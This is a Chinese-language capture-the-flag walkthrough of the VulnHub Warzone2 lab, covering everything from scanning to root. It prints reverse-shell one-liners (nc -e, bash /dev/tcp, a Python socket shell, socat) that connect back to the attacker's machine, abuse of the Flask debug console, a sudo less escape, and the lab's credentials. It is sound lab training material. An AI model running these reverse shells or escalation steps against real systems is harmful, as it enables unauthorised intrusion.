VULNHUB靶场-----Warzone2
字数 1836 2025-08-15 21:32:49

Warzone2 靶机渗透测试实战教程

靶机概述

Warzone2 是 Vulnhub 提供的一个渗透测试实战靶机,适合练习从信息收集到提权的完整渗透流程。本教程将详细记录从初始扫描到最终获取 root 权限的全过程。

环境准备

  1. 下载靶机

    • 下载地址:http://www.vulnhub.com/entry/warzone-2,598/
    • 使用 VirtualBox 加载运行
  2. 攻击机

    • Kali Linux (IP: 192.168.244.4)

渗透测试步骤

1. 主机发现

使用 netdiscover 扫描网络中的存活主机:

netdiscover -r 192.168.244.0/24

发现目标 IP 为 192.168.244.3(通常 .1 是物理机,.2 是网关)

2. 端口扫描

使用 nmap 进行端口扫描:

nmap -sV -p- 192.168.244.3

发现开放端口:

  • 21/tcp - FTP
  • 22/tcp - SSH
  • 1337/tcp - 自定义服务

3. FTP 服务渗透

匿名登录 FTP:

ftp 192.168.244.3

使用用户名 anonymous 和空密码登录。发现三个文件:

  • Username.png
  • Password.png
  • Token.png

这些文件包含旗语加密的信息,通过对照表解密得到:

  • 用户名:semaphore
  • 密码:signalperson
  • Hash:833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26
  • Token:38333361643438383436346465316132376435313266313034623633393235386537373930316631346561623730363136333036336433343035346137623236

4. 1337 端口服务渗透

使用 nc 连接 1337 端口:

nc 192.168.244.3 1337

输入之前获取的凭据:

  • 用户名:semaphore
  • 密码:signalperson
  • Token:使用 hash 而非 token(833ad488...)

成功登录后获得一个受限 shell,支持以下命令:

  • ls
  • pwd
  • nc

5. 反弹 shell

在 Kali 上监听:

nc -lvvp 4444

在靶机上执行:

nc -e /bin/bash 192.168.244.4 4444

获得 www-data 权限的 shell。为方便操作,升级为交互式 shell:

Kali:

nc -lvvp 5555

靶机:

bash -i >& /dev/tcp/192.168.244.4/5555 0>&1

6. 信息收集与横向移动

在系统中发现 flagman 用户的密码:i_hate_signals!

通过 SSH 登录:

ssh flagman@192.168.244.3

在 flagman 的桌面发现第一个 flag(青铜级别)。

7. 第一阶段提权

检查 /etc/passwd 发现 admiral 用户(管理员)。

查看 sudo 权限:

sudo -l

发现可以无密码以 admiral 身份执行特定文件:

sudo -u admiral /home/admiral/start.sh

执行后开启一个本地 5000 端口的 Flask web 服务(仅限 127.0.0.1 访问)。

8. 端口转发

通过 SSH 进行端口转发:

ssh -L 5000:127.0.0.1:5000 flagman@192.168.244.3

访问 Flask 调试控制台:
http://127.0.0.1:5000/console

使用执行 start.sh 时获得的 PIN 码登录。

9. Python 反弹 shell

在 Python 控制台中执行:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.244.4",6666))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

Kali 上监听:

nc -lvvp 6666

获得 admiral 用户权限,在桌面发现第二个 flag(银牌级别)。

10. 第二阶段提权

再次检查 sudo 权限:

sudo -l

发现可以无密码以 root 身份执行 less 命令:

sudo /usr/bin/less /var/mail/admiral

文件内容为摩尔电码加密的信息,解密后为鼓励信息而非 flag。

11. 通过 less 提权

less 可以用于提权,但需要交互式 shell:

在 Kali 上:

socat file:`tty`,raw,echo=0 tcp-listen:8888

在靶机上:

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.244.4:8888

获得交互式 shell 后,使用 less 提权:

sudo /usr/bin/less /var/mail/admiral

在 less 中执行:

!/bin/bash

获得 root 权限,找到最终 flag。

总结

本靶机渗透流程:

  1. 信息收集:主机发现、端口扫描
  2. 服务渗透:FTP 匿名登录获取凭据
  3. 自定义服务利用:1337 端口服务登录
  4. 反弹 shell 获取初步访问
  5. 凭据发现与横向移动
  6. 权限提升:利用 sudo 权限执行脚本
  7. 端口转发访问受限服务
  8. 利用 Flask 调试控制台获取更高权限
  9. 最终通过 less 提权获取 root 权限

关键点:

  • 注意观察所有获取的信息(旗语、hash/token 区别)
  • 利用 sudo -l 发现提权路径
  • 受限环境下的交互式 shell 获取方法
  • 服务仅限本地访问时的端口转发技术
Warzone2 靶机渗透测试实战教程 靶机概述 Warzone2 是 Vulnhub 提供的一个渗透测试实战靶机,适合练习从信息收集到提权的完整渗透流程。本教程将详细记录从初始扫描到最终获取 root 权限的全过程。 环境准备 下载靶机 : 下载地址:http://www.vulnhub.com/entry/warzone-2,598/ 使用 VirtualBox 加载运行 攻击机 : Kali Linux (IP: 192.168.244.4) 渗透测试步骤 1. 主机发现 使用 netdiscover 扫描网络中的存活主机: 发现目标 IP 为 192.168.244.3(通常 .1 是物理机,.2 是网关) 2. 端口扫描 使用 nmap 进行端口扫描: 发现开放端口: 21/tcp - FTP 22/tcp - SSH 1337/tcp - 自定义服务 3. FTP 服务渗透 匿名登录 FTP: 使用用户名 anonymous 和空密码登录。发现三个文件: Username.png Password.png Token.png 这些文件包含旗语加密的信息,通过对照表解密得到: 用户名:semaphore 密码:signalperson Hash:833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26 Token:38333361643438383436346465316132376435313266313034623633393235386537373930316631346561623730363136333036336433343035346137623236 4. 1337 端口服务渗透 使用 nc 连接 1337 端口: 输入之前获取的凭据: 用户名:semaphore 密码:signalperson Token:使用 hash 而非 token(833ad488...) 成功登录后获得一个受限 shell,支持以下命令: ls pwd nc 5. 反弹 shell 在 Kali 上监听: 在靶机上执行: 获得 www-data 权限的 shell。为方便操作,升级为交互式 shell: Kali: 靶机: 6. 信息收集与横向移动 在系统中发现 flagman 用户的密码: i_hate_signals! 通过 SSH 登录: 在 flagman 的桌面发现第一个 flag(青铜级别)。 7. 第一阶段提权 检查 /etc/passwd 发现 admiral 用户(管理员)。 查看 sudo 权限: 发现可以无密码以 admiral 身份执行特定文件: 执行后开启一个本地 5000 端口的 Flask web 服务(仅限 127.0.0.1 访问)。 8. 端口转发 通过 SSH 进行端口转发: 访问 Flask 调试控制台: http://127.0.0.1:5000/console 使用执行 start.sh 时获得的 PIN 码登录。 9. Python 反弹 shell 在 Python 控制台中执行: Kali 上监听: 获得 admiral 用户权限,在桌面发现第二个 flag(银牌级别)。 10. 第二阶段提权 再次检查 sudo 权限: 发现可以无密码以 root 身份执行 less 命令: 文件内容为摩尔电码加密的信息,解密后为鼓励信息而非 flag。 11. 通过 less 提权 less 可以用于提权,但需要交互式 shell: 在 Kali 上: 在靶机上: 获得交互式 shell 后,使用 less 提权: 在 less 中执行: 获得 root 权限,找到最终 flag。 总结 本靶机渗透流程: 信息收集:主机发现、端口扫描 服务渗透:FTP 匿名登录获取凭据 自定义服务利用:1337 端口服务登录 反弹 shell 获取初步访问 凭据发现与横向移动 权限提升:利用 sudo 权限执行脚本 端口转发访问受限服务 利用 Flask 调试控制台获取更高权限 最终通过 less 提权获取 root 权限 关键点: 注意观察所有获取的信息(旗语、hash/token 区别) 利用 sudo -l 发现提权路径 受限环境下的交互式 shell 获取方法 服务仅限本地访问时的端口转发技术